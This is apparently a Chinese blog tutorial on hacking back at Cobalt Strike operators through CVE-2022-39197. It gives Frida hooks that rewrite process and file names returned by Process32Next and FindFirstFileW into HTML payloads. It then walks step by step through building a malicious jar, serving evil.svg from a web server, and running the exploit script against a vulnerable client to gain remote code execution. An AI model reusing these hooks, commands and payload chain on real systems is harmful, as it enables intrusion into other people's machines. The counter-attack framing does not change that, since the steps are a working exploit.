Cobalt Strike 使用 GUI 框架 SWING(一种java GUI的库)开发,攻击者可通过CS木马在 beacon 元数据中注入恶意 HTML 标签,使得Cobalt Strike对其进行解析并且加载恶意代码(类似XSS攻击),从而在目标系统上执行任意代码。
实现原理攻击者需要通过CS木马在 beacon 元数据中注入恶意payload,恰好Frida 可以用于钩入和修改各种函数,包括 Windows API 函数,这里反制主要通过使用Frida框架钩入Windows API函数,从而对beacon 元数据中注入恶意代码,以下是一些你可以通过 Frida 钩入的 Windows API 函数的示例
Kernel32.dll:CreateFileWReadFileWriteFileFindFirstFileWCreateProcessWGetProcAddressLoadLibraryWVirtualAllocVirtualProtectAdvapi32.dll:RegOpenKeyExWRegQueryValueExWRegSetValueExWGetUserNameAUser32.dll:MessageBoxWSetWindowTextWGetWindowTextWGdi32.dll:TextOutWCreateFontIndirectWShell32.dll:ShellExecuteWWs2_32.dll:sendrecv在 Frida 中,你可以使用 **Interceptor.attach **方法来附加到这些函数并添加你自己的处理逻辑。这样,你就可以在这些函数被调用时执行自定义代码,此时也意味着你可以对 beacon 元数据中注入自定义代码了。
例如**Kernel32.dll:**中的Process32Next
函数内整体逻辑拆开来分析下
处理函数进入 onEnter
onEnter: function(args) { this.pPROCESSENTRY32 = args[1]; if(Process.arch == "ia32"){ this.exeOffset = 36; }else{ this.exeOffset = 44; } this.szExeFile = this.pPROCESSENTRY32.add(this.exeOffset);},在函数进入时,保存 Process32Next 函数的参数,并计算 szExeFile 的地址。szExeFile 是一个指向进程信息结构体的字段,其中包含进程的可执行文件名
处理函数离开 onLeave
onLeave: function(retval) { if(this.szExeFile.readAnsiString() == "target") { send("[!] Found beacon, injecting payload"); this.szExeFile.writeAnsiString(payload); }}在函数离开时,检查 szExeFile 中的进程可执行文件名是否等于字符串 "target"。如果相匹配,将指定的 payload 写入进程的可执行文件名里,使得Cobalt Strike对其进行解析并且加载payload
简单来说就是注入Windows API修改tasklist返回的进程名,将进程名改写成攻击payload,当攻击者点击beacon执行列出进程时,只要他浏览到带有payload的进程名,就会执行反制RCE
反制复现环境准备:
红队蓝队IP192.168.108.200192.168.108.133版本Cobalt Strike 4.0Cobalt Strike 4.9
注:受到反制影响的Cobalt Strike版本< 4.7.1(全局禁止html渲染的Cobalt Strike不受印影响)
开源POC和EXP:https://github.com/its-arun/CVE-2022-39197
1、编辑恶意文件内容
修改Exploit.java,更改exec内代码参数为要执行的命令,我这里为了直观展示则执行powershell一句话上线CS
2、编译文件
使用IDEA+maven进行编译,编译完成后会在target目录下生成EvilJar-1.0-jar-with-dependencies.jar文件,具体如下
3、将生成的恶意jar文件和svg文件放在同一路径下
将红队发送的木马样本放在与cve-2022-39197.py脚本同一路径下
4、蓝队在serve路径下开启一个web服务
5、编辑evil.svg文件,替换为当前路径启用的恶意jar的web地址
6、执行POC脚本
python3 cve-2022-39197.py artifact.exe http://192.168.108.248:9999/evil.svg
运行后,红队的cs客户端上可以看到此时木马已经成功上线
当红队尝试获取用户会话的进程列表,当滚动进程列表进行查看当前会话所在进程名时即触发(若未触发可能需要手动点击或触发存在延迟),请求蓝队web服务上的evil.svg文件,而evil.svg文件又继续加载请求恶意文件EvilJar-1.0-jar-with-dependencies.jar
成功上线蓝队CS,从而达到反制RCE
思考除了以上Kernel32.dll:中的Process32Next函数的反制思路,其实还有很多其他的反制思路,正如Windows API 函数之多。我们还可以尝试Kernel32.dll:中的FindFirstFileW函数(根据文件名查找文件的函数),大概情况就是注入Windows API 修改返回的文件名,将文件名改写成攻击payload,当攻击者点击beacon执行列出文件时,只要他浏览到带有payload的文件名,就会执行反制RCE,以下就直接展示上线的效果(复现步骤和上面一样)
最后此Cobalt Strike反制虽然是一个去年曝光的漏洞了,但是基数上还是会有许多人在使用着存在漏洞的Cobalt Strike版本,对应地Cobalt Strike的反制可玩性还是很高的,师傅们发挥想象可以让对手猝不及防。